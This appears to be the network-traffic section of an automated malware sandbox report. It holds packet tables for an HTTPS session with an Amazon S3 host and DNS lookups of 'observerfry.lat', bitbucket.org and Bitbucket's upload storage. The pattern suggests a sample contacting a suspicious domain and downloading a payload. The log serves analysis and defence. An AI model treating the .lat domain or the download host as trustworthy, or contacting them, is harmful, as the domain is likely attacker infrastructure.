Dec 24, 2024 12:39:29.711410046 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.711426973 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.711445093 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.717470884 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.717513084 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.717535019 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.717547894 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.717576981 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.724100113 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.724134922 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.724162102 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.724169970 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.724201918 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.730413914 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.730448961 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.730478048 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.730480909 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.730490923 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.730547905 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.730547905 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.736836910 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.736852884 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.736908913 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.736917973 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.736960888 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.737466097 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.789760113 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.886982918 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.887000084 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.887062073 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.887082100 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.887121916 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.887792110 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.893251896 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.893269062 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.893352032 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.893352032 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.893361092 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.900434971 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.900479078 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.900486946 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.900496006 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.900564909 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.900599957 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.906641960 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.906660080 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.906712055 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.906719923 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.906758070 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.906764984 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.912904978 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.912921906 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.912955046 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.912962914 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.912996054 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.918778896 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.918809891 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.918838024 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.918845892 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.918880939 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.925842047 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.925868988 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.925899029 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.925911903 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.925921917 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.925967932 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.932110071 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.932126045 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.932152987 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.932182074 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.932189941 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:29.932224035 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:29.939063072 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.082561016 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.082576990 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.082650900 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.082672119 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.082843065 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.083339930 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.088828087 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.088841915 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.088891029 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.088900089 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.088911057 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.095221996 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.095268011 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.095280886 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.095288038 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.095328093 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.102328062 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.102358103 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.102395058 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.102396965 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.102408886 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.102433920 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.102457047 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.108057022 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.108076096 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.108119965 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.108129025 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.108139992 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.108181000 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.108824968 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.114361048 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.114375114 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.114417076 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.114427090 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.114438057 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.120616913 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.120651960 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.120672941 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.120681047 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.120712042 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.164767027 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.164777994 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.211646080 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.271553993 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.271560907 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.271595955 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.271619081 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.271627903 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.271642923 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.271653891 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.271672964 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.272377014 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.278089046 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.278110027 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.278141022 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.278146982 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.278172970 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.284351110 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.284379959 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.284394026 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.284401894 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.284430981 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.290946007 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.290985107 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.291016102 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.291023016 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.291035891 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.297009945 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.297044992 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.297115088 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.297122002 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.297147036 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.306596041 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.306627989 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.306678057 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.306689024 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.306715012 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.306770086 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.310092926 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.310116053 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.310131073 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.310163021 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.310210943 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.310210943 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.310223103 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.316274881 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.316293001 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.316376925 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.316378117 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.316395044 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.368669033 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.368679047 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.378211021 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.447524071 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.467179060 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.467189074 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.467226982 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.467262030 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.467269897 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.467297077 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.467426062 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.467436075 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.473464012 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.473484993 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.473558903 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.473558903 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.473566055 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.479777098 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.479804039 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.479845047 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.479851961 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.479876041 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.486135006 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.486174107 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.486215115 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.486222029 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.486244917 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.492691040 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.492727041 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.492784977 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.492803097 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.492803097 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.492810965 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.493365049 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.498903036 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.498933077 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.498986006 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.498996019 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.499023914 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.499095917 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.499102116 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.505332947 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.505356073 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.505472898 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.505481958 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.509661913 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.509669065 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.509798050 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.577761889 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.656188965 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.656204939 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.656244040 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.656272888 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.656306028 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.656347990 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.662524939 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.662544012 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.662627935 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.662628889 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.662647009 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.669051886 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.669106007 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.669143915 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.669153929 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.669182062 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.675590038 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.675626993 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.675662041 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.675668955 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.675693989 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.682599068 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.682635069 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.682677984 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.682686090 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.682712078 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.688677073 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.688714027 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.688752890 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.688765049 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.688788891 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.694586039 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.694623947 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.694698095 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.694698095 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.694710016 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.700680971 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.700722933 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.700768948 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.700777054 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.700804949 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.742928982 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.742945910 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.789808035 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.803750038 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.851715088 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.851725101 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.851758003 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.851788998 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.851790905 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.851803064 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.851815939 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.853794098 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.853801966 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.858398914 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.858417034 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.858436108 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.858474016 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.858474016 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.858483076 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.864661932 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.864677906 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.864732027 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.864739895 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.864789963 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.870886087 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.870904922 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.870942116 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.870954037 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.870980024 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.876990080 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.877027035 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.877059937 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.877068996 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.877094030 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.883927107 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.883960009 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.883987904 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.883995056 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.884005070 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.884037971 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.884068012 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.890197039 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.890213013 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.890237093 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.890319109 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.890332937 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.890343904 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:30.891036987 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:30.891206980 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:31.291985989 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:31.333079100 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:31.984783888 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:31.984803915 CET	443	49745	52.216.216.113	192.168.2.4
Dec 24, 2024 12:39:31.984817982 CET	49745	443	192.168.2.4	52.216.216.113
Dec 24, 2024 12:39:31.984824896 CET	443	49745	52.216.216.113	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 12:39:01.561822891 CET	50287	53	192.168.2.4	1.1.1.1
Dec 24, 2024 12:39:01.945233107 CET	53	50287	1.1.1.1	192.168.2.4
Dec 24, 2024 12:39:24.305107117 CET	65024	53	192.168.2.4	1.1.1.1
Dec 24, 2024 12:39:24.443975925 CET	53	65024	1.1.1.1	192.168.2.4
Dec 24, 2024 12:39:26.549874067 CET	54156	53	192.168.2.4	1.1.1.1
Dec 24, 2024 12:39:26.846438885 CET	53	54156	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 24, 2024 12:39:01.561822891 CET	192.168.2.4	1.1.1.1	0x3d99	Standard query (0)	observerfry.lat	A (IP address)	IN (0x0001)	false
Dec 24, 2024 12:39:24.305107117 CET	192.168.2.4	1.1.1.1	0xd0e6	Standard query (0)	bitbucket.org	A (IP address)	IN (0x0001)	false
Dec 24, 2024 12:39:26.549874067 CET	192.168.2.4	1.1.1.1	0xeaa0	Standard query (0)	bbuseruploads.s3.amazonaws.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 24, 2024 12:39:01.945233107 CET	1.1.1.1	192.168.2.4	0x3d99	No error (0)	observerfry.lat		104.21.36.201	A (IP address)	IN (0x0001)	false
Dec 24, 2024 12:39:01.945233107 CET	1.1.1.1	192.168.2.4	0x3d99	No error (0)	observerfry.lat		172.67.199.72	A (IP address)	IN (0x0001)	false
Dec 24, 2024 12:39:24.443975925 CET	1.1.1.1	192.168.2.4	0xd0e6	No error (0)	bitbucket.org		185.166.143.50	A (IP address)	IN (0x0001)	false
Dec 24, 2024 12:39:24.443975925 CET	1.1.1.1	192.168.2.4	0xd0e6	No error (0)	bitbucket.org		185.166.143.48	A (IP address)	IN (0x0001)	false
Dec 24, 2024 12:39:24.443975925 CET	1.1.1.1	192.168.2.4	0xd0e6	No error (0)	bitbucket.org		185.166.143.49	A (IP address)	IN (0x0001)	false
Dec 24, 2024 12:39:26.846438885 CET	1.1.1.1	192.168.2.4	0xeaa0	No error (0)	bbuseruploads.s3.amazonaws.com	s3-1-w.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 12:39:26.846438885 CET	1.1.1.1	192.168.2.4	0xeaa0	No error (0)	s3-1-w.amazonaws.com	s3-w.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 12:39:26.846438885 CET	1.1.1.1	192.168.2.4	0xeaa0	No error (0)	s3-w.us-east-1.amazonaws.com		52.216.216.113	A (IP address)	IN (0x0001)	false
